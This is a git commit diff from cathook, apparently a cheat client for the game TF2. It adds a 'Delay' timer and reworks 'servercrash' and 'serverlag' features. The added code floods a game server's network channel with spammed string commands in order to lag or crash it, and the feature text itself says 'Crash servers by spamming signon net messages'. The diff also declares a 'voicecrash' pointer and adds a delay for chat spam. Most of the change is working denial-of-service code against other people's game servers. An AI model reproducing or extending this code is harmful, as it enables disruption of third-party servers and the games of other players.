Merge pull request #430 from BenCat07/master
Add Delay function and fix servercrash
This commit is contained in:
commit
559c8a85a1
@ -20,9 +20,14 @@ extern CatVar joinclass;
|
|||||||
extern CatVar jointeam;
|
extern CatVar jointeam;
|
||||||
extern CatVar fakelag_amount;
|
extern CatVar fakelag_amount;
|
||||||
extern CatVar serverlag_amount;
|
extern CatVar serverlag_amount;
|
||||||
|
extern CatVar serverlag_string;
|
||||||
|
extern CatVar servercrash;
|
||||||
extern CatVar debug_projectiles;
|
extern CatVar debug_projectiles;
|
||||||
extern CatVar semiauto;
|
extern CatVar semiauto;
|
||||||
extern CatVar engine_pred;
|
extern CatVar engine_pred;
|
||||||
|
extern Timer DelayTimer;
|
||||||
|
extern CatVar delay;
|
||||||
#if ENABLE_VISUALS
|
#if ENABLE_VISUALS
|
||||||
extern int spectator_target;
|
extern int spectator_target;
|
||||||
|
extern CLC_VoiceData *voicecrash;
|
||||||
#endif
|
#endif
|
||||||
|
@ -22,6 +22,9 @@ CatVar fakelag_amount(CV_INT, "fakelag", "0", "Bad Fakelag");
|
|||||||
CatVar serverlag_amount(
|
CatVar serverlag_amount(
|
||||||
CV_INT, "serverlag", "0", "serverlag",
|
CV_INT, "serverlag", "0", "serverlag",
|
||||||
"Lag the server by spamming this many voicecommands per tick");
|
"Lag the server by spamming this many voicecommands per tick");
|
||||||
|
CatVar serverlag_string(CV_STRING, "serverlag_string", "voicemenu 0 0", "serverlag string", "String to spam with serverlag");
|
||||||
|
CatVar servercrash(CV_SWITCH, "servercrash", "0", "crash servers",
|
||||||
|
"Crash servers by spamming signon net messages");
|
||||||
CatVar semiauto(CV_INT, "semiauto", "0", "Semiauto");
|
CatVar semiauto(CV_INT, "semiauto", "0", "Semiauto");
|
||||||
bool *bSendPackets;
|
bool *bSendPackets;
|
||||||
|
|
||||||
@ -30,3 +33,6 @@ CatVar crypt_chat(
|
|||||||
"Start message with !! and it will be only visible to cathook users");
|
"Start message with !! and it will be only visible to cathook users");
|
||||||
|
|
||||||
int spectator_target;
|
int spectator_target;
|
||||||
|
CLC_VoiceData *voicecrash{};
|
||||||
|
Timer DelayTimer{};
|
||||||
|
CatVar delay(CV_INT, "delay", "0", "Delay", "Delay actions like chat spam and serverlag/crash by this many seconds.");
|
||||||
|
@ -7,6 +7,7 @@
|
|||||||
|
|
||||||
#include <hacks/Spam.hpp>
|
#include <hacks/Spam.hpp>
|
||||||
#include "common.hpp"
|
#include "common.hpp"
|
||||||
|
#include "MiscTemporary.hpp"
|
||||||
|
|
||||||
namespace hacks
|
namespace hacks
|
||||||
{
|
{
|
||||||
@ -269,7 +270,8 @@ bool FormatSpamMessage(std::string &message)
|
|||||||
|
|
||||||
void CreateMove()
|
void CreateMove()
|
||||||
{
|
{
|
||||||
|
if (!DelayTimer.check((int)delay * 1000))
|
||||||
|
return;
|
||||||
IF_GAME(IsTF2())
|
IF_GAME(IsTF2())
|
||||||
{
|
{
|
||||||
// Spam changes the tournament name in casual and compeditive gamemodes
|
// Spam changes the tournament name in casual and compeditive gamemodes
|
||||||
|
@ -477,25 +477,30 @@ DEFINE_HOOKED_METHOD(CreateMove, bool, void *this_, float input_sample_time,
|
|||||||
if (cmd)
|
if (cmd)
|
||||||
g_Settings.last_angles = cmd->viewangles;
|
g_Settings.last_angles = cmd->viewangles;
|
||||||
}
|
}
|
||||||
|
NET_StringCmd senddata(serverlag_string.GetString());
|
||||||
|
INetChannel *ch = (INetChannel *) g_IEngine->GetNetChannelInfo();
|
||||||
|
senddata.SetNetChannel(ch);
|
||||||
|
senddata.SetReliable(false);
|
||||||
|
if (servercrash && DelayTimer.check((int)delay * 1000)) {
|
||||||
|
for (int i = 0; i < 7800; i+= sizeof(serverlag_string.GetString()))
|
||||||
|
ch->SendNetMsg(senddata);
|
||||||
|
ch->Transmit();
|
||||||
|
}
|
||||||
if (serverlag_amount || votelogger::antikick_ticks)
|
if (serverlag_amount || votelogger::antikick_ticks)
|
||||||
{
|
{
|
||||||
NET_StringCmd senddata("voicemenu 0 0");
|
|
||||||
INetChannel *ch2 = (INetChannel *) g_IEngine->GetNetChannelInfo();
|
|
||||||
senddata.SetNetChannel(ch2);
|
|
||||||
senddata.SetReliable(false);
|
|
||||||
if (votelogger::antikick_ticks)
|
if (votelogger::antikick_ticks)
|
||||||
votelogger::antikick_ticks--;
|
votelogger::antikick_ticks--;
|
||||||
if (votelogger::antikick_ticks)
|
if (votelogger::antikick_ticks)
|
||||||
{
|
{
|
||||||
for (int i = 0; i < (int) 500; i++)
|
for (int i = 0; i < 7800; i+= sizeof(serverlag_string.GetString()))
|
||||||
ch2->SendNetMsg(senddata, false);
|
ch->SendNetMsg(senddata, false);
|
||||||
ch2->Transmit();
|
ch->Transmit();
|
||||||
}
|
}
|
||||||
else if (!votelogger::antikick_ticks)
|
else if (!votelogger::antikick_ticks && DelayTimer.check((int)delay * 1000))
|
||||||
{
|
{
|
||||||
for (int i = 0; i < (int) serverlag_amount; i++)
|
for (int i = 0; i < (int) serverlag_amount; i++)
|
||||||
ch2->SendNetMsg(senddata, false);
|
ch->SendNetMsg(senddata, false);
|
||||||
ch2->Transmit();
|
ch->Transmit();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -5,6 +5,7 @@
|
|||||||
|
|
||||||
#include <hacks/hacklist.hpp>
|
#include <hacks/hacklist.hpp>
|
||||||
#include "HookedMethods.hpp"
|
#include "HookedMethods.hpp"
|
||||||
|
#include "MiscTemporary.hpp"
|
||||||
|
|
||||||
const char *skynum[] = { "sky_tf2_04",
|
const char *skynum[] = { "sky_tf2_04",
|
||||||
"sky_upward",
|
"sky_upward",
|
||||||
@ -80,6 +81,7 @@ namespace hooked_methods
|
|||||||
|
|
||||||
DEFINE_HOOKED_METHOD(LevelInit, void, void *this_, const char *name)
|
DEFINE_HOOKED_METHOD(LevelInit, void, void *this_, const char *name)
|
||||||
{
|
{
|
||||||
|
DelayTimer.update();
|
||||||
playerlist::Save();
|
playerlist::Save();
|
||||||
votelogger::antikick_ticks = 0;
|
votelogger::antikick_ticks = 0;
|
||||||
hacks::shared::lagexploit::bcalled = false;
|
hacks::shared::lagexploit::bcalled = false;
|
||||||
|
@ -9,8 +9,6 @@
|
|||||||
|
|
||||||
static CatVar resolver(CV_SWITCH, "resolver", "0", "Resolve angles");
|
static CatVar resolver(CV_SWITCH, "resolver", "0", "Resolve angles");
|
||||||
static CatVar nightmode(CV_SWITCH, "nightmode", "0", "Enable nightmode", "");
|
static CatVar nightmode(CV_SWITCH, "nightmode", "0", "Enable nightmode", "");
|
||||||
static CatVar servercrash(CV_SWITCH, "servercrash", "0", "crash servers",
|
|
||||||
"Crash servers by spamming signon net messages");
|
|
||||||
namespace hooked_methods
|
namespace hooked_methods
|
||||||
{
|
{
|
||||||
|
|
||||||
|
Reference in New Issue
Block a user